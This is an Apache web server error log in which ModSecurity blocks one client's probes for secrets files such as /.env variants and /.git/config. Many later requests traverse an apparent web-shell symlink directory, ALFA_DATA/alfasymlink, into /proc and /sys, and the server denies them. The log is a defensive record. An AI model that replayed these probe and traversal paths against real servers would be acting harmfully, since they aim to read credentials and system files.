[Sun Oct 25 11:21:53.177227 2026] [security2:error] [pid 2853385:tid 2853385] [client 213.209.159.133:57358] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at4ekU5S67VsMPipgjz2vAAAABA"]
[Sun Oct 25 11:21:53.177451 2026] [security2:error] [pid 2853385:tid 2853385] [client 213.209.159.133:57358] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at4ekU5S67VsMPipgjz2vAAAABA"]
[Sun Oct 25 11:21:53.177932 2026] [security2:error] [pid 2853376:tid 2853376] [client 213.209.159.133:57380] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at4ekYQ1ZDwVc2SXNbtpqQAAAAU"]
[Sun Oct 25 11:21:53.178120 2026] [security2:error] [pid 2853376:tid 2853376] [client 213.209.159.133:57380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at4ekYQ1ZDwVc2SXNbtpqQAAAAU"]
[Sun Oct 25 11:21:53.178338 2026] [security2:error] [pid 2853376:tid 2853376] [client 213.209.159.133:57380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at4ekYQ1ZDwVc2SXNbtpqQAAAAU"]
[Sun Oct 25 11:21:53.247065 2026] [security2:error] [pid 2853378:tid 2853378] [client 213.209.159.133:57306] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at4ekRO6lhYf13K488t6cQAAAAk"]
[Sun Oct 25 11:21:53.247302 2026] [security2:error] [pid 2853378:tid 2853378] [client 213.209.159.133:57306] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at4ekRO6lhYf13K488t6cQAAAAk"]
[Sun Oct 25 11:21:53.247628 2026] [security2:error] [pid 2853378:tid 2853378] [client 213.209.159.133:57306] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at4ekRO6lhYf13K488t6cQAAAAk"]
[Sun Oct 25 11:21:53.252043 2026] [security2:error] [pid 2853381:tid 2853381] [client 213.209.159.133:57326] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at4ekb_myKDD4ra5zHPY2gAAAAw"]
[Sun Oct 25 11:21:53.252103 2026] [security2:error] [pid 2852968:tid 2852968] [client 213.209.159.133:57334] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at4ekVuooNxFuMkRFYH-rQAAAAE"]
[Sun Oct 25 11:21:53.252235 2026] [security2:error] [pid 2853381:tid 2853381] [client 213.209.159.133:57326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at4ekb_myKDD4ra5zHPY2gAAAAw"]
[Sun Oct 25 11:21:53.252322 2026] [security2:error] [pid 2852968:tid 2852968] [client 213.209.159.133:57334] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at4ekVuooNxFuMkRFYH-rQAAAAE"]
[Sun Oct 25 11:21:53.252516 2026] [security2:error] [pid 2853381:tid 2853381] [client 213.209.159.133:57326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at4ekb_myKDD4ra5zHPY2gAAAAw"]
[Sun Oct 25 11:21:53.252639 2026] [security2:error] [pid 2852968:tid 2852968] [client 213.209.159.133:57334] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at4ekVuooNxFuMkRFYH-rQAAAAE"]
[Sun Oct 25 11:21:53.253613 2026] [security2:error] [pid 2853384:tid 2853384] [client 213.209.159.133:57346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at4ekW6BKUqLydm1sXLUngAAAA8"]
[Sun Oct 25 11:21:53.253757 2026] [security2:error] [pid 2853384:tid 2853384] [client 213.209.159.133:57346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at4ekW6BKUqLydm1sXLUngAAAA8"]
[Sun Oct 25 11:21:53.253965 2026] [security2:error] [pid 2853384:tid 2853384] [client 213.209.159.133:57346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at4ekW6BKUqLydm1sXLUngAAAA8"]
[Sun Oct 25 11:21:53.254146 2026] [security2:error] [pid 2853379:tid 2853379] [client 213.209.159.133:57316] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at4ekbFVd-32uN3dR1Bv9wAAAAo"]
[Sun Oct 25 11:21:53.254360 2026] [security2:error] [pid 2853379:tid 2853379] [client 213.209.159.133:57316] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at4ekbFVd-32uN3dR1Bv9wAAAAo"]
[Sun Oct 25 11:21:53.254735 2026] [security2:error] [pid 2853379:tid 2853379] [client 213.209.159.133:57316] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at4ekbFVd-32uN3dR1Bv9wAAAAo"]
[Sun Oct 25 11:21:53.334808 2026] [security2:error] [pid 2852968:tid 2852968] [client 213.209.159.133:57334] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4ekVuooNxFuMkRFYH-rgAAAAE"]
[Sun Oct 25 11:21:53.335055 2026] [security2:error] [pid 2852968:tid 2852968] [client 213.209.159.133:57334] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4ekVuooNxFuMkRFYH-rgAAAAE"]
[Sun Oct 25 11:21:53.335360 2026] [security2:error] [pid 2852968:tid 2852968] [client 213.209.159.133:57334] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4ekVuooNxFuMkRFYH-rgAAAAE"]
[Sun Oct 25 11:21:53.338436 2026] [proxy_fcgi:error] [pid 2853381:tid 2853381] [client 213.209.159.133:57326] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 11:21:53.341590 2026] [proxy_fcgi:error] [pid 2853384:tid 2853384] [client 213.209.159.133:57346] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 11:21:53.344448 2026] [proxy_fcgi:error] [pid 2847214:tid 2847214] [client 213.209.159.133:57374] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 11:21:53.344869 2026] [proxy_fcgi:error] [pid 2834019:tid 2834019] [client 213.209.159.133:57356] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 11:21:53.345373 2026] [proxy_fcgi:error] [pid 2853376:tid 2853376] [client 213.209.159.133:57380] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 11:21:53.346062 2026] [proxy_fcgi:error] [pid 2853395:tid 2853395] [client 213.209.159.133:57322] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 11:21:53.345410 2026] [proxy_fcgi:error] [pid 2853379:tid 2853379] [client 213.209.159.133:57316] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 11:21:55.255465 2026] [ssl:error] [pid 2852968:tid 2852968] (70014)End of file found: [client 35.168.238.50:11786] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:21:57.797085 2026] [core:error] [pid 2853395:tid 2853395] (13)Permission denied: [client 185.191.171.2:47390] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/destroy_by_rcu
[Sun Oct 25 11:22:05.605400 2026] [core:error] [pid 2853379:tid 2853379] (13)Permission denied: [client 85.208.96.201:42980] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kcopyd_job/trace
[Sun Oct 25 11:22:15.608432 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 52.203.152.231:40689] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:22:26.912175 2026] [ssl:error] [pid 2853379:tid 2853379] (70014)End of file found: [client 18.213.70.100:40500] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:22:38.861132 2026] [core:error] [pid 2847214:tid 2847214] (13)Permission denied: [client 54.159.18.27:38388] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/uevent
[Sun Oct 25 11:22:41.466554 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 185.191.171.12:12166] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/objects_partial
[Sun Oct 25 11:22:43.157512 2026] [ssl:error] [pid 2853381:tid 2853381] (70014)End of file found: [client 23.23.137.202:62011] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:22:50.744103 2026] [ssl:error] [pid 2853379:tid 2853379] (70014)End of file found: [client 34.192.67.98:57572] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:22:54.739461 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 52.6.232.201:62334] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/device:09/subsystem/devices/device:1e/eject
[Sun Oct 25 11:23:06.651604 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 98.84.200.43:30971] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:23:14.692882 2026] [ssl:error] [pid 2853385:tid 2853385] (70014)End of file found: [client 18.233.24.238:32537] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:23:18.595777 2026] [core:error] [pid 2853378:tid 2853378] (13)Permission denied: [client 54.162.69.192:10438] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/devices/0000:00:03.0/firmware_node/physical_node/rom
[Sun Oct 25 11:23:30.367266 2026] [ssl:error] [pid 2853381:tid 2853381] (70014)End of file found: [client 184.73.47.24:53267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:23:47.587704 2026] [ssl:error] [pid 2853385:tid 2853385] (70014)End of file found: [client 52.45.92.83:22745] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:23:58.215097 2026] [ssl:error] [pid 2853381:tid 2853381] (70014)End of file found: [client 54.144.185.255:41504] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:24:18.209776 2026] [ssl:error] [pid 2853376:tid 2853376] (70014)End of file found: [client 18.213.240.226:43730] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:24:22.192261 2026] [ssl:error] [pid 2853385:tid 2853385] (5)Input/output error: [client 54.91.122.193:17870] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:24:26.198095 2026] [ssl:error] [pid 2853378:tid 2853378] (70014)End of file found: [client 44.206.93.215:65259] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:24:26.198319 2026] [security2:error] [pid 2853378:tid 2853378] [client 44.206.93.215:65259] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/subsystem/drivers/atkbd/serio0/firmware_node/subsystem/devices/PNP0F13:00/physical_node/power/runtime_suspended_time"] [unique_id "at4fKhO6lhYf13K488t6eQAAAAk"]
[Sun Oct 25 11:24:26.198347 2026] [security2:error] [pid 2853378:tid 2853378] [client 44.206.93.215:65259] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/subsystem/drivers/atkbd/serio0/firmware_node/subsystem/devices/PNP0F13:00/physical_node/power/runtime_suspended_time"] [unique_id "at4fKhO6lhYf13K488t6eQAAAAk"]
[Sun Oct 25 11:24:34.305733 2026] [ssl:error] [pid 2834019:tid 2834019] (5)Input/output error: [client 44.213.36.21:17850] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:24:36.619694 2026] [core:error] [pid 2853376:tid 2853376] (13)Permission denied: [client 185.191.171.15:50730] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/aliases
[Sun Oct 25 11:24:36.620292 2026] [security2:error] [pid 2853376:tid 2853376] [client 185.191.171.15:50730] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/aliases"] [unique_id "at4fNIQ1ZDwVc2SXNbtpsQAAAAU"]
[Sun Oct 25 11:24:36.620314 2026] [security2:error] [pid 2853376:tid 2853376] [client 185.191.171.15:50730] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/aliases"] [unique_id "at4fNIQ1ZDwVc2SXNbtpsQAAAAU"]
[Sun Oct 25 11:24:45.428944 2026] [core:error] [pid 2853395:tid 2853395] (13)Permission denied: [client 85.208.96.202:11506] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-128/total_objects
[Sun Oct 25 11:24:47.189789 2026] [core:error] [pid 2847214:tid 2847214] (13)Permission denied: [client 144.76.19.24:62746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/4/stack
[Sun Oct 25 11:24:50.382260 2026] [core:error] [pid 2853376:tid 2853376] (13)Permission denied: [client 3.221.244.28:16537] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/firmware_node/physical_node/rom
[Sun Oct 25 11:25:02.195240 2026] [core:error] [pid 2852968:tid 2852968] (13)Permission denied: [client 54.156.124.2:50709] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory12/node0/memory17/subsystem/drivers_probe
[Sun Oct 25 11:25:03.522093 2026] [core:error] [pid 2853395:tid 2853395] (13)Permission denied: [client 85.208.96.202:30036] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8/slabs
[Sun Oct 25 11:25:10.203375 2026] [core:error] [pid 2847214:tid 2847214] (13)Permission denied: [client 100.25.120.246:51736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/piix4_smbus/module/sections/__verbose
[Sun Oct 25 11:25:21.238840 2026] [core:error] [pid 2853385:tid 2853385] (13)Permission denied: [client 85.208.96.202:32922] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/cpu_slabs
[Sun Oct 25 11:25:30.158208 2026] [core:error] [pid 2853379:tid 2853379] (13)Permission denied: [client 23.23.213.182:51817] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/resource0
[Sun Oct 25 11:25:34.189648 2026] [ssl:error] [pid 2853376:tid 2853376] (70014)End of file found: [client 3.229.95.193:33340] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:25:59.147445 2026] [core:error] [pid 2853378:tid 2853378] (13)Permission denied: [client 185.191.171.10:13256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sighand_cache/usersize
[Sun Oct 25 11:26:22.190489 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 34.234.197.175:53081] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:26:30.169070 2026] [ssl:error] [pid 2853376:tid 2853376] (70014)End of file found: [client 34.236.41.241:34518] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:26:34.195308 2026] [core:error] [pid 2853385:tid 2853385] (13)Permission denied: [client 18.214.138.148:19588] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ata_piix/unbind
[Sun Oct 25 11:26:38.180007 2026] [ssl:error] [pid 2853384:tid 2853384] (70014)End of file found: [client 54.86.59.155:4785] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:26:41.919534 2026] [core:error] [pid 2852968:tid 2852968] (13)Permission denied: [client 185.191.171.10:53126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/object_size
[Sun Oct 25 11:26:42.168666 2026] [core:error] [pid 2853395:tid 2853395] (13)Permission denied: [client 44.209.89.189:14826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ptmx/subsystem/ttyS1/close_delay
[Sun Oct 25 11:26:46.185078 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 52.45.29.57:22449] AH02013: coalesce failed to read from data bucket
